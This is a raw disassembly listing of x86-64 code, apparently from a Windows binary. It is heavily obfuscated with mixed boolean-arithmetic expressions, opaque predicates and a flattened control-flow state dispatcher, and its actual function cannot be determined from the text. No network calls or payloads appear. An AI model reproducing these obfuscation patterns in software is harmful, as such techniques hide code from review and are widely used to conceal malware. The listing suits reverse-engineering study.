and eax, 0x8b33ff2f
and edx, 0x74cc00d0
or edx, eax
mov eax, r14d
and eax, 0x9e05eb29
mov ecx, r12d
and ecx, 0x61fa14d6
or ecx, eax
mov r13d, ecx
xor r13d, 0x202810d2
xor ecx, 0xe04a208
and ecx, 0x4fd6a60c
and r13d, 0xb02959f3
or r13d, ecx
mov r9d, r13d
xor r9d, 0x4fd6a60c
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xc9d6a17e
mov r15d, edx
xor r15d, 0xc9d6a17e
and r15d, edx
mov edi, ecx
and edi, r15d
xor r15d, ecx
or r15d, edi
mov ecx, r15d
not ecx
and ecx, 0x36295e81
and r15d, 0xc9d6a17e
or r15d, ecx
mov r11d, r13d
xor r11d, 0xb02959f3
mov ecx, r9d
and ecx, 0xec5f3774
mov edi, r11d
and edi, 0x13a0c88b
or edi, ecx
xor edi, 0xb8b0c543
mov esi, r11d
and esi, 0x54eff237
or esi, edi
and r14d, 0xff667708
and r12d, 0x9988f7
or r12d, r14d
mov ecx, r12d
xor ecx, 0x1008c0
and ecx, 0xab100dc8
xor r12d, 0xab89853f
or r12d, ecx
mov r14d, r15d
not r14d
mov edi, r14d
and edi, 0x54eff237
mov ecx, r15d
and ecx, 0xab100dc8
or ecx, edi
mov edi, esi
not edi
and eax, 0xab100dc8
xor edx, 0x54eff237
or edx, eax
mov eax, edx
not eax
and eax, 0x7d67c56e
and edx, 0x82983a91
or edx, eax
mov eax, esi
and eax, 0x6e411d97
xor esi, 0xadb18bca
and esi, edi
and edi, 0x91bee268
or edi, eax
mov eax, r12d
not eax
and r12d, 0x5f6ca656
mov ebx, eax
and ebx, 0xa09359a9
or ebx, r12d
mov r12d, edi
xor r12d, 0x91bee268
xor edi, 0x3c0f69a2
and edi, r12d
mov r8d, edi
and r8d, esi
xor esi, edi
or esi, r8d
mov edi, ebx
xor edi, 0xa09359a9
xor ebx, 0xd22d263
and ebx, edi
and eax, 0xadb18bca
mov r8d, ebx
and r8d, eax
xor eax, ebx
or eax, r8d
mov ebx, esi
not ebx
and ebx, 0x1b4335ea
and esi, 0xe4bcca15
or esi, ebx
mov ebx, eax
not ebx
and ebx, 0x1b4335ea
and eax, 0xe4bcca15
or eax, ebx
not ecx
or ecx, r14d
xor eax, esi
mov ebx, r12d
and ebx, edi
xor edi, r12d
or edi, ebx
mov r8d, eax
not r8d
mov ebx, r8d
and ebx, 0xc25c1858
and eax, 0x3da3e7a7
or eax, ebx
mov esi, edi
not esi
or r8d, edi
and edi, 0xc25c1858
and esi, 0x3da3e7a7
or esi, edi
mov edi, ecx
not edi
xor esi, eax
not r8d
or r8d, esi
mov eax, ecx
and eax, 0x162f4020
xor ecx, 0x5f61d9cc
and ecx, edi
and edi, 0xe9d0bfdf
or edi, eax
mov esi, edi
xor esi, 0xe9d0bfdf
xor edi, 0xb6b16613
and edi, esi
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x5350a78
and edi, 0xfacaf587
or edi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x5350a78
and ecx, 0xfacaf587
or ecx, ebx
xor ecx, edi
mov edi, edx
xor edi, 0x82983a91
not eax
or eax, ecx
mov r12d, edx
xor edx, 0x22061ca2
and edx, edi
mov ecx, edi
or ecx, 0x5f61d9cc
mov edi, ecx
not edi
mov ebx, ecx
and ebx, 0x971840e4
and edi, 0x20862613
or edi, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0x971840e4
and edx, 0x68e7bf1b
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, eax
not edx
and edx, 0xa2ff9a29
and eax, 0x5d0065d6
or eax, edx
mov edx, ecx
not edx
and edx, 0xa2ff9a29
and ecx, 0x5d0065d6
or ecx, edx
xor r12d, 0x7d67c56e
xor ecx, eax
mov edx, esi
and edx, r12d
xor esi, r12d
xor r13d, 0xdf0bf050
and r13d, r9d
or esi, edx
not esi
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
not esi
mov r12d, esi
or r12d, r8d
mov eax, r12d
not eax
xor esi, r8d
not esi
and esi, r8d
mov edx, r12d
and edx, 0x9afd4f2e
and eax, 0x6502b0d1
or eax, edx
mov edx, esi
not edx
or r12d, edx
and edx, 0x9afd4f2e
and esi, 0x6502b0d1
or esi, edx
xor esi, eax
not r12d
or r12d, esi
and r11d, 0x34c19d6e
and r9d, 0xcb3e6291
or r9d, r11d
mov edx, r9d
xor edx, 0xcb3e6291
mov ebx, r9d
xor ebx, 0xa41ccb32
and ebx, edx
mov eax, r15d
xor eax, 0x90dd565c
mov edi, ebx
and edi, r13d
xor r13d, ebx
mov ebx, eax
and ebx, r14d
and eax, r15d
or r13d, edi
mov edi, ebx
and edi, eax
xor eax, ebx
or eax, edi
mov ebx, r13d
not ebx
and ebx, 0x58e1f936
and r13d, 0xa71e06c9
or r13d, ebx
mov ebx, eax
not ebx
and ebx, 0x58e1f936
and eax, 0xa71e06c9
or eax, ebx
xor eax, r13d
xor r9d, 0x34c19d6e
mov ebx, r9d
and ebx, 0x3912fe0f
and edx, 0xc6ed01f0
or edx, ebx
mov esi, dword [rbp + 0x30]
mov ebx, esi
and ebx, r10d
or r9d, r15d
and r15d, 0x3912fe0f
and r14d, 0xc6ed01f0
or r14d, r15d
xor r14d, edx
not r9d
or r9d, r14d
mov edx, r9d
not edx
and edx, 0x66e3e65b
and r9d, 0x991c19a4
or r9d, edx
xor r9d, 0x991c19a4
mov edx, eax
and edx, r9d
xor r9d, eax
or r9d, edx
mov eax, r9d
mov r11d, r9d
xor r11d, 0x4354a556
and r11d, r9d
not r9d
and r9d, 0x50a444
and eax, 0x43040112
or eax, r9d
xor eax, 0x43040112
mov edi, eax
and edi, r11d
xor r11d, eax
or r11d, edi
mov eax, r11d
not eax
and eax, 0xbcab5aa9
and r11d, 0x4354a556
or r11d, eax
mov eax, r11d
not eax
mov edi, eax
and edi, 0x324a516a
and r11d, 0xcdb5ae95
or r11d, edi
xor r11d, 0xcdb5ae95
or r11d, eax
mov eax, r11d
not eax
mov ecx, r12d
xor ecx, r11d
and ecx, r12d
and r11d, r12d
not r12d
and r12d, eax
or r11d, r12d
mov eax, ecx
and eax, r11d
xor r11d, ecx
or r11d, eax
mov ecx, r11d
not ecx
mov eax, ecx
and eax, r11d
mov edi, ecx
and edi, eax
xor eax, ecx
or eax, edi
mov edi, eax
not edi
and edi, 0x714e2e6c
xor eax, 0x8eb1d193
or eax, edi
mov edi, ecx
and edi, 0xfc0b2090
and r11d, 0x3f4df6f
or r11d, edi
xor r11d, 0x8d450efc
or r11d, ecx
mov ecx, r11d
not ecx
and ecx, eax
not eax
mov edi, eax
xor edi, r11d
and edi, eax
and r11d, eax
or r11d, ecx
mov eax, edi
and eax, r11d
xor r11d, edi
or r11d, eax
mov edx, esi
mov eax, esi
and eax, 0x260d75bd
mov ecx, r10d
and ecx, 0xd9f28a42
or ecx, eax
xor ecx, 0xd9f28a42
mov eax, ecx
and eax, ebx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa8e27348
and ecx, 0x571d8cb7
or ecx, eax
mov ebx, ecx
xor ebx, 0x571d8cb7
xor ecx, 0xa0a04008
and ecx, 0xf5b4c81d
mov eax, ebx
and eax, 0xa4b37e2
or eax, ecx
xor eax, 0x6830a1a4
and ebx, 0x9d8469b9
or ebx, eax
mov eax, ebx
not eax
and eax, 0xbcef7359
and ebx, 0x43108ca6
or ebx, eax
mov esi, ebx
xor esi, 0x43108ca6
mov eax, edx
and eax, 0x3080e95d
and r10d, 0xcf7f16a2
or r10d, eax
mov ecx, r10d
xor ecx, 0xcf7f16a2
xor r10d, 0x10006959
and r10d, 0x5d027979
mov edi, ecx
and edi, 0xa2fd8686
or edi, r10d
xor edi, 0x3f79ef3f
and ecx, 0x627b9646
or ecx, edi
mov edi, ecx
not edi
and edi, 0xe8a0590b
and ecx, 0x175fa6f4
or ecx, edi
mov edx, ecx
xor edx, 0x2438684
xor ecx, 0xe8a0590b
mov eax, esi
xor eax, ecx
and eax, esi
xor ebx, 0xbcac6159
and ebx, 0xbdbc6979
and esi, 0x42439686
or esi, ebx
and ecx, 0xbdbc6979
and edx, 0x42439686
or edx, ecx
xor edx, esi
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x9d8469b9
and edx, 0x627b9646
or edx, eax
mov r8d, r11d
not r8d
mov ecx, r11d
and ecx, 0xaef5118f
mov eax, r8d
and eax, 0x510aee70
or eax, ecx
mov ecx, eax
xor ecx, 0x41086030
and ecx, 0xed297039
xor eax, 0xbc239e49
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x91cca3ea
and eax, 0x6e335c15
or eax, ecx
mov ecx, r11d
and ecx, 0xf30bc62c
mov esi, r8d
and esi, 0xcf439d3
or esi, ecx
xor esi, 0xe1dd49ea
mov ebx, r8d
and ebx, 0x12d68fc6
or ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xeed8902e
and ebx, 0x11276fd1
or ebx, ecx
mov r9d, edx
not r9d
mov ecx, r9d
and ecx, 0x5e955872
mov edi, edx
and edi, 0xa16aa78d
or edi, ecx
xor edi, 0xa16aa78d
mov ecx, r9d
and ecx, edx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x56b0dc91
and ecx, 0xa94f236e
or ecx, edi
xor ecx, 0xbb99aca8
xor esi, ecx
and esi, ecx
mov ecx, r9d
and ecx, 0x12d68fc6
and edx, 0xed297039
or edx, ecx
mov ecx, eax
xor ecx, 0x4314c05
xor eax, 0x91cca3ea
xor r9d, edx
and r9d, edx
mov edx, eax
and eax, 0xeb8eb0d0
and ecx, 0x14714f2f
or ecx, eax
mov eax, ebx
xor eax, 0x10214f01
xor ebx, 0xeed8902e
or edx, ebx
and ebx, 0xeb8eb0d0
and eax, 0x14714f2f
or eax, ebx
not edx
xor eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, esi
not ecx
and ecx, r9d
mov edi, r9d
not edi
mov edx, esi
xor edx, edi
and edx, esi
and edi, esi
or edi, ecx
mov ecx, edx
and ecx, edi
xor edi, edx
or edi, ecx
mov ecx, eax
not ecx
and ecx, 0x60514220
mov edx, eax
and edx, 0x600288c
or edx, ecx
xor edx, 0x600288c
and eax, 0x99ae9553
or eax, edx
mov esi, edi
not esi
xor edi, 0x66516aac
and edi, esi
or esi, 0x66516aac
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfb64cdfa
and edi, 0x49b3205
or edi, ebx
mov edx, esi
not edx
or ecx, esi
and esi, 0xfb64cdfa
and edx, 0x8a1001
or edx, esi
xor edx, edi
not ecx
or ecx, edx
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
or ecx, edx
and r8d, 0xd19de44c
and r11d, 0x2e621bb3
or r11d, r8d
mov eax, r11d
not eax
and eax, 0x2e621bb3
and r11d, 0xd19de44c
or r11d, eax
not r11d
mov eax, r11d
or eax, ecx
mov edx, eax
not edx
xor r11d, ecx
not r11d
and r11d, ecx
mov ebx, eax
and ebx, 0xf88e8c51
and edx, 0x77173ae
or edx, ebx
mov ebx, r11d
not ebx
or eax, ebx
and ebx, 0xf88e8c51
and r11d, 0x77173ae
or r11d, ebx
xor r11d, edx
mov edx, dword [0x1400a6664]
not eax
or eax, r11d
mov ebx, eax
and eax, ecx
not ecx
not ebx
and ecx, ebx
or eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
setne r10b
sete r8b
cmp edx, 9
setg r9b
cmp edx, 0xa
setl cl
mov edi, ecx
mov edx, ecx
xor dl, r9b
and dl, cl
mov r11d, ecx
xor r11b, r8b
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, r10b
mov r14d, ecx
not r14b
and r14b, r8b
or r8b, r9b
mov r15d, r9d
xor r15b, r10b
xor r15b, 1
mov esi, r15d
and sil, r9b
xor r15b, r9b
or r9b, r10b
xor r9b, 1
or r9b, r11b
xor r8b, 1
or dil, r10b
xor dil, 1
mov eax, r8d
and al, dil
xor dil, r8b
mov ebx, r9d
xor bl, 1
or dil, al
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ebx
and bl, dil
xor dil, 1
xor al, 1
and al, dil
or bl, al
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
xor dil, 1
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov eax, edi
xor al, 1
or dil, al
xor dil, al
and al, dil
xor al, 1
mov ebx, eax
xor bl, dil
or al, dil
xor al, 1
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, eax
and bl, r9b
mov r8d, eax
and r8b, bl
xor bl, al
or bl, r8b
or r9b, al
mov eax, ebx
xor al, r9b
or r9b, bl
xor r9b, 1
or r9b, al
mov r8d, r9d
xor r8b, 1
and r10b, cl
or r14b, r10b
xor cl, r14b
and cl, r14b
or r15b, sil
mov edx, r15d
xor dl, 1
mov r10d, ecx
xor r10b, 1
and r15b, r10b
and cl, dl
or cl, r15b
xor cl, 1
or cl, r10b
xor cl, 1
mov eax, r10d
xor al, dl
xor al, 1
and al, dl
or r10b, dl
xor r10b, 1
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov eax, r10d
xor al, 1
mov edx, eax
and dl, r10b
xor al, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
xor dl, cl
xor dl, 1
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
mov ebx, r10d
xor bl, 1
mov edi, r10d
and bl, r10b
xor bl, 1
mov r11d, r10d
xor r11b, bl
or bl, r10b
mov edx, r10d
or dl, r8b
xor dil, r8b
xor dil, 1
and dil, r8b
xor dil, 1
mov eax, edx
xor al, dil
or dil, dl
xor dil, 1
or dil, al
xor dil, 1
mov eax, edi
and al, r9b
xor dil, r9b
or dil, al
mov edx, r9d
and dl, r8b
xor dl, 1
mov esi, r8d
xor sil, dl
or dl, r8b
mov ecx, r8d
or cl, r9b
mov eax, ecx
xor al, 1
xor bl, 1
or bl, r11b
mov r8d, ebx
xor r8b, 1
or r8b, bl
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor dl, 1
or dl, sil
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, ecx
and al, r9b
xor cl, r9b
mov ebx, r8d
xor bl, 1
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, r8d
and al, bl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor al, r10b
or bl, r10b
xor r10b, r8b
xor al, 1
xor r10b, 1
xor bl, 1
or bl, r10b
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
xor dl, 1
mov eax, edx
xor al, bl
xor al, 1
and al, bl
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
and cl, al
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, dil
mov edx, edi
and dl, al
xor al, dil
or al, dl
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6d1c7d8b
mov ebx, 0xbcef9f07
cmovne ecx, ebx
test al, 1
mov eax, ecx
mov ebx, 0x6d1c7d8b
cmovne eax, ebx
test dl, 1
cmovne eax, ecx
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, 0x6d008730
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [0x1400a6668]
lea edx, [rax - 1]
imul edx, eax
mov r9d, edx
not r9d
mov eax, r9d
and eax, 0x5fb6b247
mov ecx, edx
xor ecx, 0x5fb6b247
and ecx, edx
mov r8d, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x590001a6
and ecx, 0xa6fffe59
or ecx, eax
mov eax, ecx
xor eax, 0xc00
xor ecx, 0x840001
and eax, 0x228cc0
and ecx, 0x2884400f
or ecx, eax
mov edx, ecx
xor edx, 0x2884400f
mov edi, ecx
xor edi, 0x1600a060
mov ebx, r9d
and ebx, 0x28a6cccf
mov eax, r8d
and eax, 0xd7593330
or eax, ebx
not eax
or eax, r9d
mov ebx, eax
not ebx
and edi, 0x1e00a06e
xor ecx, 0x8800c49
and ecx, edx
and edx, 0x20a64c81
or edx, edi
mov r10d, edx
xor r10d, 0xe1ff5f91
and eax, 0xbc9a95c6
mov r15d, ebx
and r15d, 0x43656a39
or r15d, eax
mov r11d, r15d
xor r11d, 0x43656a39
mov edi, edx
xor edi, 0x785ced18
and edi, r10d
mov r14d, r15d
xor r14d, 0xdac6d8b0
and r14d, r11d
and ebx, 0x99a3b289
mov eax, edi
not eax
mov esi, ecx
not esi
mov r12d, eax
and r12d, 0xa4a32201
and edi, 0x5a04ccee
or edi, r12d
or eax, esi
and esi, 0xa4fb2311
and ecx, 0x804ccce
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
mov ecx, r14d
and ecx, ebx
xor ebx, r14d
or ebx, ecx
mov ecx, eax
not ecx
and ecx, 0x20b79f1
and eax, 0xfdf4860e
or eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x20b79f1
and ebx, 0xfdf4860e
or ebx, ecx
xor ebx, eax
xor edx, 0x1e00a06e
xor r15d, 0xbc9a95c6
mov eax, edx
and eax, 0x2806cc43
and r10d, 0x15b9319c
or r10d, eax
or edx, r15d
and r15d, 0xea46ce63
and r11d, 0x15b9319c
or r11d, r15d
xor r11d, r10d
not edx
or edx, r11d
mov ecx, edx
not ecx
mov eax, ebx
not eax
mov edi, eax
and edi, 0x11bae97b
and ebx, 0xee451684
or ebx, edi
or eax, edx
and edx, 0x11bae97b
and ecx, 0xee451684
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xd7593330
and ecx, eax
not eax
and eax, 0xd1010120
and edx, 0x6583210
or edx, eax
xor edx, 0x6583210
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x44482321
mov edx, ecx
and edx, 0xa0978412
or edx, eax
xor edx, 0xa0978412
and ecx, 0x1b2058cc
or ecx, edx
mov eax, ecx
not eax
and eax, 0x3f18ea5b
and ecx, 0xc0e715a4
or ecx, eax
mov eax, ecx
xor eax, 0x2438b297
mov edx, ecx
xor edx, 0x80410008
and edx, 0x8041908c
xor ecx, 0xacd1020b
and ecx, eax
and eax, 0x8a82010
or eax, edx
mov edx, eax
xor edx, 0x280000
xor eax, 0xf757dfef
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x19d3a892
and edx, 0x8028100c
or edx, edi
or eax, ebx
and ebx, 0x19d3a892
and ecx, 0xe62c576d
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x88e9b09d
not eax
and eax, 0x77164f62
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x22a7a13d
and eax, 0xdd585ec2
or eax, ecx
mov ecx, eax
and ecx, 1
xor eax, 0xdd585ec3
or eax, ecx
mov r14d, eax
not r14d
mov edi, r8d
mov dword [rbp + 0x30], r8d
mov ebx, r8d
or edi, 0xde1b1196
mov ecx, edi
not ecx
mov edx, r9d
or edx, 0x21e4ee69
mov esi, edx
not esi
and edi, 0x651de2b8
and ecx, 0xe00c41
or ecx, edi
and edx, 0x651de2b8
and esi, 0x9a021106
or esi, edx
xor esi, ecx
mov ecx, esi
not ecx
and ecx, 0xde1b1197
and esi, 0x21e4ee68
or esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x78436100
and esi, 0x87bc9eff
or esi, edx
and ebx, 0x78436100
mov edx, r9d
and edx, 0x87bc9eff
or edx, ebx
xor edx, esi
xor ecx, edx
and ecx, edx
mov edx, eax
and edx, 0x6980424
mov ebx, r14d
and ebx, 0x61202003
or ebx, edx
mov edx, ebx
xor edx, 0x21200000
xor ebx, 0x104c0420
mov edi, eax
or edi, 0x67b82427
mov r12d, edi
not r12d
and ebx, 0x504c2423
and edx, 0x27b00004
or edx, ebx
and edi, 0x504c2423
and r12d, 0x8803dbd8
or r12d, edi
xor r12d, edx
mov edx, r12d
not edx
and edx, 0xb45bbe15
and r12d, 0x4ba441ea
or r12d, edx
mov r10d, r12d
xor r10d, 0x2c1c65cd
mov r11d, ecx
not r11d
mov edx, r11d
and edx, 0x6d44848
mov edi, ecx
and edi, 0x10a1624
or edi, edx
xor edi, 0x10a1624
mov esi, ecx
and esi, 0xf821a193
or esi, edi
mov edx, esi
not edx
and edx, 0xf821a193
and esi, 0x7de5e6c
or esi, edx
xor r12d, 0xd3e39a32
mov edx, r12d
and edx, 0xf095f4da
mov ebx, r10d
and ebx, 0xf6a0b25
or ebx, edx
xor ebx, 0xc5ccffa0
mov edi, ebx
xor edi, r12d
and edi, ebx
and r14d, 0xe050822e
mov edx, eax
and edx, 0x1faf7dd1
or edx, r14d
xor edx, 0x2af676ab
and eax, 0xcaa6f485
or eax, edx
mov r15d, eax
not r15d
mov edx, esi
mov r14d, esi
not r14d
mov ebx, r14d
and ebx, 0x8c9ebbf6
and edx, 0x73614409
or edx, ebx
xor edx, 0x46384f73
or edx, r14d
mov ebx, r11d
and ebx, 0x6a23ba88
and ecx, 0x95dc4577
or ecx, ebx
xor ecx, 0xa0854e0d
xor r11d, ecx
and r11d, ecx
mov ecx, edi
xor ecx, eax
and ecx, edi
and eax, edi
not edi
and edi, r15d
or eax, edi
mov edi, ecx
not edi
mov ebx, eax
not ebx
mov r15d, edi
and r15d, 0x453ac122
and ecx, 0xbac53edd
or ecx, r15d
or edi, ebx
and ebx, 0x453ac122
and eax, 0xbac53edd
or eax, ebx
xor eax, ecx
not edi
or edi, eax
mov r8d, r11d
mov r15d, r11d
xor r15d, 0x9fd4a5f
and r15d, r11d
not r11d
and r11d, 0xab09bd1
and r8d, 0xf54f642e
or r8d, r11d
mov eax, edx
xor eax, 0xf602b5a0
and eax, edx
mov ecx, eax
not ecx
mov r11d, ecx
and r11d, 0xf32f84eb
and eax, 0xcd07b14
or eax, r11d
mov r11d, edx
or r11d, 0x9fd4a5f
mov ebx, r11d
not ebx
or ecx, r11d
and r11d, 0xf32f84eb
and ebx, 0x4003100
or ebx, r11d
xor ebx, eax
mov r11d, r8d
xor r8d, 0xab09bd1
not ecx
or ecx, ebx
mov r13d, r8d
or r13d, 0xf602b5a0
mov ebx, r13d
not ebx
mov eax, r13d
and eax, 0x766a9677
and ebx, 0x9954808
or ebx, eax
mov eax, r15d
not eax
or r13d, eax
and eax, 0x766a9677
and r15d, 0x89956988
or r15d, eax
xor r15d, ebx
not r13d
or r13d, r15d
mov eax, ecx
not eax
and eax, 0xcf976a52
and ecx, 0x306895ad
or ecx, eax
mov eax, r13d
not eax
and eax, 0xcf976a52
and r13d, 0x306895ad
or r13d, eax
mov ebx, edx
not ebx
xor r13d, ecx
mov eax, ebx
and eax, 0xaf882176
and edx, 0x5077de89
or edx, eax
mov r15d, esi
xor r15d, 0xa88d5385
and r15d, esi
xor r11d, 0x50474408
or ebx, r8d
and r8d, 0xaf882176
and r11d, 0x5077de89
or r11d, r8d
xor r11d, edx
not ebx
or ebx, r11d
mov eax, ebx
not eax
and eax, 0xd02da67
and ebx, 0xf2fd2598
or ebx, eax
mov eax, ebx
xor eax, 0xc0080590
xor ebx, 0xd02da67
mov ecx, r13d
not ecx
mov edx, ecx
and edx, 0x36f5e26c
and r13d, 0xc90a1d93
or r13d, edx
or ecx, ebx
and ebx, 0x36f5e26c
and eax, 0xc90a1d93
or eax, ebx
xor eax, r13d
not ecx
or ecx, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0xfb48bf99
and edi, 0x4b74066
or edi, edx
xor edi, ecx
xor edi, 0xfb48bf99
and edi, ecx
mov edx, ecx
not edx
and edx, 0x83d94232
and ecx, 0x7c26bdcd
or ecx, edx
xor ecx, 0x83d94232
or ecx, eax
mov edx, ecx
not edx
mov r13d, edi
not r13d
mov eax, r13d
and eax, 0xb00a9a50
and edi, 0x4ff565af
or edi, eax
or r13d, ecx
and ecx, 0xb00a9a50
and edx, 0x4ff565af
or edx, ecx
xor edx, edi
not r13d
or r13d, edx
and r12d, 0xed1d244c
mov ebx, r10d
and ebx, 0x12e2dbb3
or ebx, r12d
mov r11d, ebx
xor r11d, 0x12e2dbb3
and r14d, 0x981f4885
and esi, 0x67e0b77a
or esi, r14d
mov r14d, esi
xor r14d, 0x67e0b77a
mov eax, ebx
xor eax, 0x459077c9
and eax, r11d
and r10d, 0x5772ac7a
mov ecx, esi
xor ecx, 0x30921b00
and ecx, r14d
mov edx, eax
and edx, r10d
xor r10d, eax
or r10d, edx
mov edx, ecx
not edx
mov eax, r15d
not eax
mov edi, edx
and edi, 0x6e247f74
and ecx, 0x91db808b
or ecx, edi
or edx, eax
and eax, 0x6e247f74
and r15d, 0x91db808b
or r15d, eax
mov r12d, r9d
mov edi, r9d
mov r8d, dword [rbp + 0x30]
or r9d, r8d
xor r15d, ecx
not edx
or edx, r15d
mov eax, r10d
not eax
and eax, 0xf3064fa4
and r10d, 0xcf9b05b
or r10d, eax
mov eax, edx
not eax
and eax, 0xf3064fa4
and edx, 0xcf9b05b
or edx, eax
xor edx, r10d
xor ebx, 0xed1d244c
xor esi, 0x981f4885
mov eax, ebx
and eax, 0x87db2f4b
and r11d, 0x7824d0b4
or r11d, eax
or ebx, esi
and esi, 0x87db2f4b
and r14d, 0x7824d0b4
or r14d, esi
xor r14d, r11d
not ebx
or ebx, r14d
mov eax, ebx
not eax
and eax, 0x81bcd2a5
and ebx, 0x7e432d5a
or ebx, eax
xor ebx, 0x7e432d5a
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov ecx, ebx
xor ecx, 0xc153d81f
and ecx, ebx
not ebx
and ebx, 0xc153d81f
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x267f4ca5
and ecx, 0xd980b35a
or ecx, eax
mov eax, ecx
xor eax, 0x10114944
xor ecx, 0x620c9030
and eax, 0x95314dce
and ecx, 0x6aceb231
or ecx, eax
mov eax, ecx
xor eax, 0x95314dce
xor ecx, 0x48062201
mov edx, r13d
xor edx, eax
and edx, r13d
mov ebx, r13d
not ebx
and ebx, 0x22e89cba
and r13d, 0xdd176345
or r13d, ebx
and eax, 0x22e89cba
and ecx, 0xdd176345
or ecx, eax
xor ecx, r13d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6b4f2810
mov ebx, ecx
and ebx, 0x94b0d7ef
or ebx, edx
mov edx, ebx
xor edx, 0x94001344
xor ebx, 0x6b4f2810
and edx, 0xb7461b54
mov esi, ebx
and esi, 0x48b9e4ab
or esi, edx
xor esi, 0x26790cc4
and ebx, 0x913f1790
or ebx, esi
mov edx, ebx
not edx
and edx, 0x1c42e70f
and ebx, 0xe3bd18f0
or ebx, edx
mov edx, ebx
xor edx, 0x1c42e70f
and eax, 0xdfcad23a
and ecx, 0x20352dc5
or ecx, eax
mov eax, ecx
xor eax, 0x20352dc5
xor ecx, 0xccc2c23a
and ecx, 0xcce2c3fa
mov esi, eax
and esi, 0x331d3c05
or esi, ecx
xor esi, 0xa2222b95
and eax, 0x6ec0e86f
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xf1d067f7
xor eax, 0x793ca946
and eax, ecx
and ecx, 0xe2f9808
or ecx, esi
xor ecx, 0xe2f9808
xor ebx, 0x657e4e49
and ebx, edx
mov r11d, ecx
mov r10d, edx
and r10d, ecx
xor ecx, edx
or edx, 0x86c356b9
mov r14d, edx
not r14d
and r11d, 0x86c356b9
mov esi, ebx
not esi
mov r15d, esi
and r15d, 0xab575c86
and ebx, 0x54a8a379
or ebx, r15d
or esi, edx
and edx, 0xab575c86
and r14d, 0x5028a140
or r14d, edx
xor r14d, ebx
not esi
or esi, r14d
mov edx, r11d
and edx, eax
xor eax, r11d
or eax, edx
mov edx, esi
not edx
and edx, 0x3c66d890
and esi, 0xc399276f
or esi, edx
mov edx, eax
not edx
and edx, 0x3c66d890
and eax, 0xc399276f
or eax, edx
xor eax, esi
or ecx, r10d
mov edx, ecx
not edx
and edx, 0x1982875e
and ecx, 0xe67d78a1
or ecx, edx
xor ecx, 0xe67d78a1
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x913f1790
and ecx, 0x6ec0e86f
or ecx, eax
and r12d, 0x70c00c20
and r8d, 0x8017829c
or r8d, r12d
mov eax, r8d
xor eax, 0x8005809c
xor r8d, 0x61c80540
or edi, 0xf0d78ebc
mov edx, edi
not edx
and r8d, 0x61da0740
and eax, 0x900588bc
or eax, r8d
and edi, 0x61da0740
and edx, 0xe207003
or edx, edi
xor edx, eax
mov eax, edx
not eax
and eax, 0x1aaa8993
and edx, 0xe555766c
or edx, eax
mov eax, edx
xor eax, 0x2c0c0
xor edx, 0x227c0227
and edx, 0x37fc3a37
and eax, 0xc803c5c8
or eax, edx
mov edi, eax
